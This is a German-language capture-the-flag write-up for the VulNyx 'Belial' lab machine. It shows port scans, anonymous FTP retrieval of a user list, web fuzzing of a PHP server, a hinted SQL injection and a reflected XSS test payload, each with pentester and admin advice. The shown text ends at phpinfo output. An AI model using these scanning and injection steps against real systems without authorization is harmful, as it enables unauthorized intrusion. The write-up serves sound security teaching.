Belial - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

./recon_script.sh
echo
arp-scan
vi
ip
grep
awk
sort
nmap
curl
nikto
gobuster
ncat
socat
dirb
ftp
wget
ls
cat
wfuzz
ffuf
Burp Suite
tr
hydra
chmod
ssh
ssh-keygen
python3 (KeePwn.py)
pip
mv
sudo
mktemp
tcpdump
whoami

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# X=$(./recon_script.sh jenk.nyx)

Analyse: Ausführung eines Reconnaissance-Skripts (`recon_script.sh`) mit einem Hostnamen-Parameter (`jenk.nyx`, wahrscheinlich ein Platzhalter). Die Ausgabe wird in der Variable `X` gespeichert.

Bewertung: Automatisierung der initialen Aufklärung. Der Inhalt des Skripts ist unklar, aber das Ziel ist die Ermittlung der IP-Adresse.

Empfehlung (Pentester): Standardpraxis, Skripte für wiederkehrende Aufgaben zu verwenden. Stellen Sie sicher, dass Sie die Aktionen des Skripts verstehen.
Empfehlung (Admin): Überwachen Sie das Netzwerk auf verdächtige Scan-Aktivitäten.

┌──(root㉿CCat)-[~] └─# echo $X
                          Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.118

Analyse: Die Variable `X` wird ausgegeben und zeigt die Ziel-IP-Adresse: `192.168.2.118`.

Bewertung: Ziel-IP erfolgreich identifiziert.

Empfehlung (Pentester): Verwenden Sie diese IP ($IP) für die weiteren Scans.
Empfehlung (Admin): -

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.118	08:00:27:d0:d9:af	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.450 seconds (176.55 hosts/sec). 1 responded

Analyse: Ein ARP-Scan im lokalen Netzwerk bestätigt die IP `192.168.2.118` und identifiziert die MAC-Adresse `08:00:27:d0:d9:af` (PCS Systemtechnik GmbH), was auf eine VirtualBox VM hindeutet.

Bewertung: Bestätigung der IP und Hinweis auf die Virtualisierungsumgebung.

Empfehlung (Pentester): Standardmäßiger erster Schritt im LAN.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.118   belial.nyx

Analyse: Die lokale `/etc/hosts`-Datei wird angepasst, um den Hostnamen `belial.nyx` der IP `192.168.2.118` zuzuordnen.

Bewertung: Ermöglicht die Verwendung des Hostnamens in weiteren Tools.

Empfehlung (Pentester): Pflegen Sie die `/etc/hosts`-Datei.
Empfehlung (Admin): Sorgen Sie für funktionierendes internes DNS.

Analyse: Es wird versucht, die IPv6-Link-Local-Adresse des Ziels zu ermitteln und zu scannen. Die Befehlskette (`ip neigh... | nmap -6`) identifiziert `fe80::a00:27ff:fed0:d9af`.

Bewertung: Der Nmap-Scan gegen die IPv6-Adresse findet die TCP-Ports 22 (SSH), 80 (HTTP) und 2121 (ccproxy-ftp, wahrscheinlich vsftpd) offen.

Empfehlung (Pentester): Notieren Sie die offenen IPv6-Ports. Diese Dienste könnten anders konfiguriert sein als über IPv4.
Empfehlung (Admin): Sichern Sie Dienste auf beiden Protokollen oder deaktivieren Sie IPv6, falls nicht benötigt.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441"); cmd2=$(echo $cmd | awk '{print $1}' | sort -u); nmap $cmd2 -6;
: Nmap Portscans :

 IPv6 Scan

: Nmap IPv6 Scan :

 - IPv6 Adresse: fe80::a00:27ff:fed0:d9af%eth0:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 22:34 CEST
Nmap scan report for belial (fe80::a00:27ff:fed0:d9af)
Host is up (0.000075s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2121/tcp open  ccproxy-ftp
MAC Address: 08:00:27:D0:D9:AF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
 UDP Scan

:  Nmap UDP Scan :

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 22:34 CEST
Nmap scan report for 192.168.2.118
Host is up (0.00029s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
402/udp   closed genie
1007/udp  closed unknown
28465/udp closed unknown
46093/udp closed unknown
49174/udp closed unknown
49211/udp closed unknown
MAC Address: 08:00:27:D0:D9:AF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

Analyse: Der Nmap UDP-Scan findet keine offenen UDP-Ports unter den Top 1000 auf der IPv4-Adresse.

Bewertung: Keine UDP-Angriffsvektoren identifiziert.

Empfehlung (Pentester): Konzentration auf TCP-Ports.
Empfehlung (Admin): -

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
 pen mit grep Scan :

 Nmap nur offene Ports Ausgabe :

22/tcp   open  ssh     OPENSSH 9.0p1 Ubuntu 1ubuntu7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Ubuntu))
2121/tcp open  ftp     vsftpd 2.0.8 or later
8090/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.21)

Analyse: Der TCP-Scan (`-sS -sC -sV -A -p-`) gegen die IPv4-Adresse, gefiltert nach offenen Ports, zeigt: * Port 22: SSH (OpenSSH 9.0p1 Ubuntu) * Port 80: HTTP (Apache 2.4.54 Ubuntu) * Port 2121: FTP (vsftpd) * Port 8090: HTTP (PHP cli server 7.4.21)

Bewertung: Identifiziert die vier Hauptangriffsvektoren auf IPv4. Besonders interessant sind der FTP-Server (Port 2121) und der PHP Development Server (Port 8090), da diese oft Fehlkonfigurationen oder Schwachstellen aufweisen.

Empfehlung (Pentester): Führen Sie den vollständigen Scan durch. Untersuchen Sie alle vier Ports, insbesondere FTP (Anonymous Login?) und den PHP-Server auf Port 8090 (Webanwendung, bekannte Schwachstellen für PHP 7.4.21?).
Empfehlung (Admin): Härten Sie alle Dienste. Verwenden Sie keine Development Server in Produktivumgebungen. Sichern Sie FTP (kein Anonymous Login, sichere Konfiguration). Halten Sie alle Dienste aktuell.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
 Port Scan

: Nmap volle Ausgabe :

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 22:35 CEST
Nmap scan report for belial.nyx (192.168.2.118)
Host is up (0.00028s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OPENSSH 9.0p1 Ubuntu 1ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 50:0a:5d:78:09:0d:10:13:85:3e:ba:76:4b:6d:67:c3 (ECDSA)
|_  256 ee:a2:45:09:b8:83:74:4a:7d:19:f1:76:28:e4:70:0f (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.54 (Ubuntu)
2121/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxr-x    2 1001     1001         4096 Jul 14  2023 resources
8090/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.21)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:D0:D9:AF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms belial.nyx (192.168.2.118)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.23 seconds

Analyse: Die vollständige Nmap-Ausgabe liefert wichtige Details: * SSH (22): OpenSSH 9.0p1 auf Ubuntu. * HTTP (80): Apache 2.4.54 auf Ubuntu, Standardseite. * FTP (2121): vsftpd (Version 3.0.5 laut SYST-Antwort). Kritisch: **Anonymous FTP Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`)**. Das Verzeichnis `resources` ist sichtbar. * HTTP (8090): PHP 7.4.21 Development Server. Kein Seitentitel.

Bewertung: Der erlaubte anonyme FTP-Login auf Port 2121 ist eine erhebliche Schwachstelle. Er ermöglicht potenziell das Herunterladen von sensiblen Dateien oder das Hochladen von Payloads. Der PHP Development Server auf 8090 ist ebenfalls ein Hauptziel.

Empfehlung (Pentester): Verbinden Sie sich per FTP anonym auf Port 2121 und untersuchen Sie das `resources`-Verzeichnis gründlich. Laden Sie alle Dateien herunter. Untersuchen Sie parallel die Webanwendung auf Port 8090.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugriff sofort, es sei denn, er ist absolut notwendig und bewusst konfiguriert. Sichern Sie die Inhalte des FTP-Servers. Verwenden Sie keine Development Server in Produktivumgebungen.

┌──(root㉿CCat)-[~] └─# nmap -sV -p2121 -sC -A 192.168.2.118
 FTP Scan :

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 23:15 CEST
Nmap scan report for belial.nyx (192.168.2.118)
Host is up (0.00015s latency).

PORT     STATE SERVICE VERSION
2121/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxr-x    2 1001     1001         4096 Jul 14  2023 resources
MAC Address: 08:00:27:D0:D9:AF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms belial.nyx (192.168.2.118)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.49 seconds

Analyse: Ein gezielter Nmap-Scan gegen Port 2121 (`-p2121`) mit Skripten (`-sC`) und Versionserkennung (`-sV`, `-A`) bestätigt die vsftpd-Version 3.0.5 und den erlaubten anonymen Login.

Bewertung: Bestätigt die Ergebnisse des vorherigen Scans bezüglich FTP.

┌──(root㉿CCat)-[~] └─# ftp 192.168.2.118 -P 2121
Connected to 192.168.2.118.
220 Blessed are those of the left-hand path!
Name (192.168.2.118:ccat): ftp
530 Permission denied.
ftp: Login failed
ftp>
<-- Beendet

Analyse: Ein manueller FTP-Login-Versuch mit `ftp ... -P 2121` und dem Benutzernamen `ftp` schlägt fehl ("Permission denied"). Die Option `-P` ist für den Port, aber der Benutzer `ftp` benötigt möglicherweise ein spezifisches Passwort oder die anonyme Anmeldung erfolgt über den Benutzer `anonymous`.

Bewertung: Zeigt, dass der Benutzer `ftp` nicht direkt für den Login verwendet werden kann, obwohl er in der `STAT`-Antwort erwähnt wurde. Der anonyme Login (Benutzer `anonymous`) ist der richtige Weg.

┌──(root㉿CCat)-[~] └─# nmap -sY -n -p- $IP -Pn --min-rate 5000
 Host Scan :

: Nmap Hostscan Ausgabe

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 22:35 CEST
Nmap scan report for 192.168.2.118
Host is up (0.00016s latency).
All 65535 scanned ports on 192.168.2.118 are in ignored states.
Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:D0:D9:AF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.57 seconds

Analyse: Erneuter Nmap SCTP-Scan (`-sY`), der keine offenen SCTP-Ports findet. Dies widerspricht dem vorherigen kombinierten Scan (`-sY -sS`).

Bewertung: Nmap-Ergebnisse können manchmal inkonsistent sein, abhängig von Netzwerkbedingungen oder Firewall-Verhalten. Der vorherige Scan, der SCTP-Ports fand, ist jedoch glaubwürdiger, da er spezifische Dienste identifizierte. Es ist möglich, dass der SSH-Dienst auf SCTP 22 nur temporär lief oder die Firewall den reinen SCTP-Scan anders behandelt hat.

Empfehlung (Pentester): Vertrauen Sie eher dem Scan, der mehr Informationen liefert, aber behalten Sie Inkonsistenzen im Hinterkopf. Konzentrieren Sie sich auf die bestätigten TCP-Ports 2121 und 8090.
Empfehlung (Admin): Regelmäßige Scans mit verschiedenen Techniken durchführen, um die eigene Sichtbarkeit zu überprüfen.

Web Enumeration (HTTP/FTP)

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://$IP | grep -i "allow"
: HTTP Records Permissions :

Allow: GET,POST,OPTIONS,HEAD

Analyse: Eine `OPTIONS`-Anfrage an Port 80 bestätigt die erlaubten Methoden: GET, POST, OPTIONS, HEAD.

Bewertung: Standardkonfiguration für Apache.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
 WEB-Server Scan :

*   Trying 192.168.2.118:80...
* Connected to 192.168.2.118 (192.168.2.118) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.118
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 10 Sep 2024 20:36:18 GMT
< Server: Apache/2.4.54 (Ubuntu)
< Last-Modified: Sat, 15 Jul 2023 13:50:21 GMT
< ETag: "29af-60086d8b5b0b0"
< Accept-Ranges: bytes
< Content-Length: 10671
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host 192.168.2.118 left intact

Analyse: Eine `HEAD`-Anfrage an Port 80 bestätigt die Serverdetails (Apache 2.4.54) und Header.

Bewertung: Keine neuen Informationen im Vergleich zum Nmap-Scan.

┌──(root㉿CCat)-[~] └─# curl --verbose -I http://$IP:8080 -s
: HTTP-Header Verbose mit Port-Scan

-

Port gefunden! 80

-

* Host belial.nyx:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.118
*   Trying 192.168.2.118:80...
* Connected to belial.nyx (192.168.2.118) port 80
> HEAD / HTTP/1.1
> Host: belial.nyx
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 OK
< Date: Tue, 10 Sep 2024 21:04:36 GMT
< Server: Apache/2.4.54 (Ubuntu)
< Last-Modified: Sat, 15 Jul 2023 13:50:21 GMT
< ETag: "29af-60086d8b5b0b0"
< Accept-Ranges: bytes
< Content-Length: 10671
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host belial.nyx left intact

Analyse: Erneuter Versuch, Port 8080 über HTTP anzusprechen. Wieder scheint `curl` auf Port 80 zurückzufallen und liefert nur dessen Header.

Bewertung: Bestätigt, dass Port 8080 nicht direkt über HTTP erreichbar ist. Fokus auf Port 8090 und FTP 2121.

 Nikto Scan

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.118
+ Target Hostname:    192.168.2.118
+ Target Port:        80
+ Start Time:         2024-09-10 22:36:17 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29af, size: 60086d8b5b0b0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-10 22:36:58 (GMT2) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto-Scan gegen Port 80 wiederholt die bereits bekannten geringfügigen Funde.

Bewertung: Port 80 scheint uninteressant.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.118
[...]
===============================================================
2024/09/10 22:37:10 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10671]
===============================================================
2024/09/10 22:55:30 Finished
===============================================================

Analyse: Gobuster gegen Port 80 findet ebenfalls nur die `index.html`.

Bewertung: Bestätigt die Uninteressantheit von Port 80.

┌──(root㉿CCat)-[~] └─# ftp 192.168.2.118 2121
Connected to 192.168.2.118.
220 Blessed are those of the left-hand path!
Name (192.168.2.118:ccat): anonymous
331 Please specify the password.
Password: anonymous <-- Passwort eingegeben
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||61109|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Jul 14  2023 .
drwxr-xr-x    3 1001     1001         4096 Jul 14  2023 ..
drwxrwxr-x    2 1001     1001         4096 Jul 14  2023 resources
226 Directory send K.
ftp> cd resources
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||23642|)
150 Here comes the directory listing.
drwxrwxr-x    2 1001     1001         4096 Jul 14  2023 .
drwxr-xr-x    3 1001     1001         4096 Jul 14  2023 ..
-rw-r--r--    1 1001     1001           18 Jul 14  2023 users.list
226 Directory send K.
ftp>
<-- Verbindung bleibt offen

Analyse: Ein manueller Login per FTP auf Port 2121 mit Benutzer `anonymous` und beliebigem Passwort (hier 'anonymous') ist erfolgreich. Im Stammverzeichnis befindet sich ein Verzeichnis `resources`. Innerhalb von `resources` liegt die Datei `users.list`.

Bewertung: Bestätigt den anonymen FTP-Zugriff und findet eine potenziell interessante Datei `users.list`.

Empfehlung (Pentester): Laden Sie die Datei `users.list` herunter und untersuchen Sie ihren Inhalt. Verwenden Sie `wget`, um den gesamten Inhalt des FTP-Servers rekursiv herunterzuladen.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugriff.

┌──(root㉿CCat)-[~] └─# wget -r --user=anonymous --password='anonymous' ftp://192.168.2.118:2121
--2024-09-10 23:20:27--  ftp://192.168.2.118:2121/
           => 192.168.2.118:2121/.listing
[...]
2024-09-10 23:20:27 (5,67 MB/s) - 192.168.2.118:2121/resources/users.list gespeichert [18]

FINISHED --2024-09-10 23:20:27--
Total wall clock time: 0.01s
Downloaded: 1 files, 18 in 0s (1.54 MB/s)

Analyse: `wget` wird verwendet, um den Inhalt des FTP-Servers rekursiv (`-r`) herunterzuladen, authentifiziert als `anonymous`. Es lädt erfolgreich die Datei `resources/users.list` herunter.

Bewertung: Erfolgreicher Download der Zieldatei.

┌──(root㉿CCat)-[~] └─# ll
insgesamt 117136
drwxr-xr-x  3 root root      4096 10. Sep 23:20 192.168.2.118:2121/
[...]
┌──(root㉿CCat)-[~] └─# cd 192.168.2.118:2121/
┌──(root㉿CCat)-[~/192.168.2.118:2121] └─# ll
insgesamt 4
drwxr-xr-x 2 root root 4096 10. Sep 23:20 resources/
┌──(root㉿CCat)-[~/192.168.2.118:2121] └─# cd resources
┌──(root㉿CCat)-[~/192.168.2.118:2121/resources] └─# ll
insgesamt 4
-rw-r--r-- 1 root root 18 14. Jul 2023  users.list
┌──(root㉿CCat)-[~/192.168.2.118:2121/resources] └─# cat users.list
anonymous
kohanic

Analyse: Die heruntergeladene Datei `users.list` wird angezeigt. Sie enthält zwei Namen: `anonymous` und `kohanic`.

Bewertung: Wichtiger Fund! `kohanic` ist ein potenzieller Benutzername auf dem System.

Empfehlung (Pentester): Verwenden Sie den Benutzernamen `kohanic` für weitere Angriffsversuche (z.B. SSH-Login, Passwort-Bruteforce gegen FTP oder SSH, falls Passwort-Auth erlaubt ist).
Empfehlung (Admin): Speichern Sie keine Benutzerlisten oder andere sensible Informationen auf anonym zugänglichen FTP-Servern.

Web App Enumeration (Port 8090)

Analyse: Der Fokus wechselt zum PHP Development Server auf Port 8090. `dirb` wird verwendet, um nach Dateien zu suchen.

Bewertung: `dirb` findet `/info.php`, eine häufige Datei, die `phpinfo()` ausführt.

Empfehlung (Pentester): Rufen Sie `/info.php` auf, um detaillierte Informationen über die PHP-Konfiguration und das System zu erhalten. Suchen Sie mit weiteren Tools (`gobuster`, `wfuzz`, `ffuf`) gezielter nach PHP-Dateien.
Empfehlung (Admin): Deaktivieren Sie `phpinfo()` auf Produktivsystemen.

┌──(root㉿CCat)-[~] └─# dirb http://belial.nyx:8090
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Sep 10 23:22:00 2024
URL_BASE: http://belial.nyx:8090/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://belial.nyx:8090/ ----
+ http://belial.nyx:8090/info.php (CODE:200|SIZE:66653)

-----------------
END_TIME: Tue Sep 10 23:22:14 2024
DOWNLOADED: 4612 - FOUND: 1

Analyse: Der Quellcode der Startseite (`http://belial.nyx:8090/`) wird angezeigt. Er enthält ein einfaches Login-Formular, das an `validation.php` sendet.

Bewertung: Identifiziert ein Login-Formular und das Zielskript.

Unholy Bank
validation.php <-- Form action
User:
Password:

Analyse: Ein direkter Aufruf von `validation.php` (ohne POST-Parameter) führt zu einem SQL-Syntaxfehler.

Bewertung: Deutet auf eine SQL-Injection-Schwachstelle in `validation.php` hin, da die Benutzereingabe anscheinend direkt in eine SQL-Abfrage eingefügt wird.

Empfehlung (Pentester): Testen Sie `validation.php` auf SQL-Injection mit Tools wie `sqlmap` oder manuellen Payloads in den Parametern `user` und `password`.
Empfehlung (Admin): Beheben Sie die SQL-Injection-Schwachstelle durch Verwendung von Prepared Statements oder korrekter Eingabevalidierung und -maskierung.

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '' at line 1

Analyse: Verschiedene Fuzzing-Tools (`gobuster`, `wfuzz`, `ffuf`) werden verwendet, um nach weiteren PHP-Dateien auf Port 8090 zu suchen. Es werden `info.php` (bereits bekannt), `index.php` (die Startseite), `render` (scheint ein Parameter zu sein?), `secret.php` und `validation.php` (bekannt) gefunden.

Bewertung: Die Fuzzing-Versuche identifizieren erfolgreich `secret.php` als eine weitere interessante Datei neben der bereits bekannten `info.php` und der verwundbaren `validation.php`. Der Eintrag `render?url=...` bei `wfuzz` ist ungewöhnlich und könnte auf eine SSRF- oder LFI-Schwachstelle hindeuten, wird aber im weiteren Verlauf nicht verfolgt.

Empfehlung (Pentester): Untersuchen Sie `secret.php`. Fahren Sie mit dem Testen der SQL-Injection in `validation.php` fort.
Empfehlung (Admin): Überprüfen Sie alle gefundenen PHP-Dateien auf Sicherheit und Notwendigkeit.

┌──(root㉿CCat)-[~] └─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://belial.nyx:8090 --exclude-length 329
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://belial.nyx:8090
[...]
===============================================================
Starting gobuster
===============================================================
/info.php             (Status: 200) [Size: 66625]
===============================================================
Finished
===============================================================
┌──(root㉿CCat)-[~] └─# wfuzz -c -t 200 -u "http://192.168.2.118:8090/FUZZ.FUZ2Z" -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,php --hl 6
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.118:8090/FUZZ.FUZ2Z
Total requests: 4727

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002222:   200        732 L    3983 W     66831 Ch    "info - php"
000002199:   200        15 L     26 W       329 Ch      "index - php"
000003506:   200        15 L     26 W       329 Ch      "render?url=https://www.google.com - php" <-- Ungewöhnlich!
000003677:   200        9 L      35 W       232 Ch      "secret - php"
000004373:   200        0 L      29 W       146 Ch      "validation - php"

Total time: 5.278810
Processed Requests: 4727
Filtered Requests: 4722
Requests/sec.: 895.4668
┌──(root㉿CCat)-[~] └─# ffuf -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -u http://belial.nyx:8090/FUZZ.php -fs 329

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://belial.nyx:8090/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 329
________________________________________________

info                    [Status: 200, Size: 66642, Words: 3259, Lines: 731, Duration: 20ms]
secret                  [Status: 200, Size: 232, Words: 27, Lines: 10, Duration: 20ms]
┌──(root㉿CCat)-[~] └─# curl http://belial.nyx:8090/secret.php -s
Hello Kohanic
If you've made it this far, it's clear that you're already one step away from
 finding your reward!

Yours sincerely,
Gelal
Remember to identify the correct parameter

Analyse: Der Aufruf von `secret.php` liefert eine Nachricht, die den Benutzernamen `Kohanic` (bereits aus der `users.list` bekannt) erwähnt und einen Hinweis gibt: "Remember to identify the correct parameter".

Bewertung: Bestätigt den Benutzernamen `kohanic` und gibt einen klaren Hinweis darauf, dass `secret.php` einen Parameter erwartet, um möglicherweise nützliche Informationen preiszugeben.

Empfehlung (Pentester): Fuzzing nach Parametern für `secret.php` durchführen (z.B. mit `wfuzz` oder Burp Intruder). Suchen Sie nach Hinweisen im Quellcode oder in anderen gefundenen Dateien.
Empfehlung (Admin): Entfernen Sie solche Hinweistexte und sichern Sie Skripte, die Parameter erwarten.

http://belial.nyx:8090/validation.php?user=alert(1)&password=hacker <-- Korrigierte Tags

XSS Fenster öffnet sich mit Alert... [  1  ]

Analyse: Es wird ein einfacher Cross-Site Scripting (XSS) Payload im `user`-Parameter von `validation.php` getestet.

Bewertung: Der Test ist erfolgreich, ein Alert-Fenster erscheint. Dies bestätigt eine reflektierte XSS-Schwachstelle in `validation.php`. Diese ist jedoch für die Eskalation auf dem Server in der Regel weniger nützlich als die bereits vermutete SQL-Injection.

Empfehlung (Pentester): Notieren Sie die XSS-Schwachstelle, konzentrieren Sie sich aber auf die vielversprechenderen Angriffsvektoren (FTP, SQLi, `secret.php`).
Empfehlung (Admin): Beheben Sie die XSS-Schwachstelle durch korrekte Kontextualisierung und Kodierung von Benutzereingaben bei der Ausgabe.

PHP logo PHP Version 7.4.21
System 	Linux 66fbd1a9bf6f 5.19.0-31-generic #32-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 20 15:20:08 UTC 2023 x86_64
Build Date 	Jul 22 2021 03:17:03
Configure Command 	'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '--with-mhash' '--with-pic' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium=shared' '--with-pdo-sqlite=/usr' '--with-sqlite3=/usr' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--enable-maintainer-zts' '--disable-cgi' 'build_alias=x86_64-linux-gnu'
Server API 	Built-in HTTP server
Virtual Directory Support 	enabled
Configuration File (php.ini) Path 	/usr/local/etc/php
Loaded Configuration File 	(none)
Scan this dir for additional .ini files 	/usr/local/etc/php/conf.d
Additional .ini files parsed 	/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
PHP API 	20190902
[...]
PHP Variables
$SERVER['DOCUMENT_ROOT']	/var/www/html
